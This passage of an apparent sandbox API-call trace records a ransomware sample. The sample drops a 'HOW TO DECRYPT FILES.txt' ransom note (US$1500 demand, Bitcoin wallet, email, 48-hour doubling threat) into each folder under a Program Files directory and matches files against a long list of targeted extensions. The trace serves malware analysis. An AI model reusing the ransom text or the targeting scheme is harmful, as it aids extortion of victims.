ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSB1ENFR.ITS") returned -1 [0059.586] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSB1ENFR.ITS") returned -1 [0059.586] lstrcmpiA (lpString1="", lpString2="MSB1ENFR.ITS") returned -1 [0059.586] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*") returned="*.*" [0059.586] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\" [0059.586] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\") returned="" [0059.586] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\HOW TO DECRYPT FILES.txt" [0059.586] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\how to decrypt files.txt")) returned 0xffffffff [0059.586] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0059.586] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0059.586] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0059.588] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.588] CloseHandle (hObject=0x90) returned 1 [0059.588] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", lpString2="MSB1ENFR.ITS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" [0059.588] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.ems") returned 0 [0059.588] lstrlenA (lpString="*.ems") returned 5 [0059.588] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.db") returned 0 [0059.588] lstrlenA (lpString="*.db") returned 4 [0059.588] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.dbf") returned 0 [0059.589] lstrlenA (lpString="*.dbf") returned 5 [0059.589] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.myox") returned 0 [0059.589] lstrlenA (lpString="*.myox") returned 6 [0059.589] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.myo") returned 0 [0059.589] lstrlenA (lpString="*.myo") returned 5 [0059.589] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.qbw") returned 0 [0059.589] lstrlenA (lpString="*.qbw") returned 5 [0059.589] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.qbb") returned 0 [0059.589] lstrlenA (lpString="*.qbb") returned 5 [0059.589] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.qbm") returned 0 [0059.589] lstrlenA (lpString="*.qbm") returned 5 [0059.589] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.qbo") returned 0 [0059.589] lstrlenA (lpString="*.qbo") returned 5 [0059.589] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.qbx") returned 0 [0059.589] lstrlenA (lpString="*.qbx") returned 5 [0059.589] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.qba") returned 0 [0059.589] lstrlenA (lpString="*.qba") returned 5 [0059.589] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.qby") returned 0 [0059.590] lstrlenA (lpString="*.qby") returned 5 [0059.590] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.qbj") returned 0 [0059.590] lstrlenA (lpString="*.qbj") returned 5 [0059.590] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.ofx") returned 0 [0059.590] lstrlenA (lpString="*.ofx") returned 5 [0059.590] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.qif") returned 0 [0059.590] lstrlenA (lpString="*.qif") returned 5 [0059.590] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.mye") returned 0 [0059.590] lstrlenA (lpString="*.mye") returned 5 [0059.590] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.mbox") returned 0 [0059.590] lstrlenA (lpString="*.mbox") returned 6 [0059.590] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.eml") returned 0 [0059.590] lstrlenA (lpString="*.eml") returned 5 [0059.590] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.pst") returned 0 [0059.590] lstrlenA (lpString="*.pst") returned 5 [0059.590] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.ost") returned 0 [0059.590] lstrlenA (lpString="*.ost") returned 5 [0059.590] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.idx") returned 0 [0059.590] lstrlenA (lpString="*.idx") returned 5 [0059.590] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.dbx") returned 0 [0059.590] lstrlenA (lpString="*.dbx") returned 5 [0059.590] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.sql") returned 0 [0059.590] lstrlenA (lpString="*.sql") returned 5 [0059.590] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.mdb") returned 0 [0059.590] lstrlenA (lpString="*.mdb") returned 5 [0059.590] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.fdb") returned 0 [0059.591] lstrlenA (lpString="*.fdb") returned 5 [0059.591] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.wab") returned 0 [0059.591] lstrlenA (lpString="*.wab") returned 5 [0059.591] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.dat") returned 0 [0059.591] lstrlenA (lpString="*.dat") returned 5 [0059.591] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.txt") returned 0 [0059.591] lstrlenA (lpString="*.txt") returned 5 [0059.591] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.jpeg") returned 0 [0059.591] lstrlenA (lpString="*.jpeg") returned 6 [0059.591] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.jpg") returned 0 [0059.591] lstrlenA (lpString="*.jpg") returned 5 [0059.591] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.png") returned 0 [0059.591] lstrlenA (lpString="*.png") returned 5 [0059.591] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.php") returned 0 [0059.591] lstrlenA (lpString="*.php") returned 5 [0059.591] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.cs") returned 0 [0059.591] lstrlenA (lpString="*.cs") returned 4 [0059.591] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.cpp") returned 0 [0059.591] lstrlenA (lpString="*.cpp") returned 5 [0059.591] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.rar") returned 0 [0059.591] lstrlenA (lpString="*.rar") returned 5 [0059.591] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.zip") returned 0 [0059.591] lstrlenA (lpString="*.zip") returned 5 [0059.591] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.html") returned 0 [0059.591] lstrlenA (lpString="*.html") returned 6 [0059.591] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.htm") returned 0 [0059.592] lstrlenA (lpString="*.htm") returned 5 [0059.592] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.xlsx") returned 0 [0059.592] lstrlenA (lpString="*.xlsx") returned 6 [0059.592] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.xls") returned 0 [0059.592] lstrlenA (lpString="*.xls") returned 5 [0059.592] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.mp4") returned 0 [0059.592] lstrlenA (lpString="*.mp4") returned 5 [0059.592] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.ppt") returned 0 [0059.592] lstrlenA (lpString="*.ppt") returned 5 [0059.592] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.pptx") returned 0 [0059.592] lstrlenA (lpString="*.pptx") returned 6 [0059.592] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.doc") returned 0 [0059.592] lstrlenA (lpString="*.doc") returned 5 [0059.592] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.dot") returned 0 [0059.592] lstrlenA (lpString="*.dot") returned 5 [0059.592] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.docx") returned 0 [0059.592] lstrlenA (lpString="*.docx") returned 6 [0059.592] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.7z") returned 0 [0059.592] lstrlenA (lpString="*.7z") returned 4 [0059.592] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.tar") returned 0 [0059.592] lstrlenA (lpString="*.tar") returned 5 [0059.592] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.bz2") returned 0 [0059.592] lstrlenA (lpString="*.bz2") returned 5 [0059.592] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.gz") returned 0 [0059.592] lstrlenA (lpString="*.gz") returned 4 [0059.593] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.mkv") returned 0 [0059.593] lstrlenA (lpString="*.mkv") returned 5 [0059.593] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.eml") returned 0 [0059.593] lstrlenA (lpString="*.eml") returned 5 [0059.593] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.msg") returned 0 [0059.593] lstrlenA (lpString="*.msg") returned 5 [0059.593] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.edb") returned 0 [0059.593] lstrlenA (lpString="*.edb") returned 5 [0059.593] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.accdb") returned 0 [0059.593] lstrlenA (lpString="*.accdb") returned 7 [0059.593] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.odb") returned 0 [0059.593] lstrlenA (lpString="*.odb") returned 5 [0059.593] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.java") returned 0 [0059.593] lstrlenA (lpString="*.java") returned 6 [0059.593] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.asm") returned 0 [0059.593] lstrlenA (lpString="*.asm") returned 5 [0059.593] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", pszSpec="*.pfx") returned 0 [0059.593] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0059.593] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.593] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="ESEN", cAlternateFileName="")) returned 1 [0059.593] lstrcmpA (lpString1=".", lpString2="ESEN") returned -1 [0059.594] lstrcmpA (lpString1="..", lpString2="ESEN") returned -1 [0059.594] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*") returned="*.*" [0059.594] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="ESEN" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN" [0059.594] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.594] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.594] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.594] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.594] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.594] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0059.594] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.594] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSB1ESEN.DLL") returned -1 [0059.594] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSB1ESEN.DLL") returned -1 [0059.594] lstrcmpiA (lpString1="", lpString2="MSB1ESEN.DLL") returned -1 [0059.594] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*") returned="*.*" [0059.594] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\" [0059.595] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\") returned="" [0059.595] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO DECRYPT FILES.txt" [0059.595] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\how to decrypt files.txt")) returned 0xffffffff [0059.595] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0059.596] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.596] CloseHandle (hObject=0x90) returned 1 [0059.597] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", lpString2="MSB1ESEN.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" [0059.597] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL", pszSpec="*.ems") returned 0 [0059.597] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0059.597] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.597] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSB1ESEN.ITS") returned -1 [0059.597] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSB1ESEN.ITS") returned -1 [0059.597] lstrcmpiA (lpString1="", lpString2="MSB1ESEN.ITS") returned -1 [0059.597] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned="MSB1ESEN.DLL" [0059.597] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\" [0059.597] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\") returned="" [0059.597] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO DECRYPT FILES.txt" [0059.597] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\how to decrypt files.txt")) returned 0x20 [0059.597] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", lpString2="MSB1ESEN.ITS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" [0059.598] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", pszSpec="*.ems") returned 0 [0059.598] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0059.598] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.598] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WT61ES.LEX") returned -1 [0059.598] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WT61ES.LEX") returned -1 [0059.598] lstrcmpiA (lpString1="", lpString2="WT61ES.LEX") returned -1 [0059.598] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned="MSB1ESEN.ITS" [0059.598] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\" | out: lpString1="C:\\Program Files\\Common 